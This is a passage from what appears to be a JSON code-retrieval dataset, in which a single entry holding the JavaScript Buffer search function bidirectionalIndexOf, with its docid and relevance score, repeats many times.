NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": 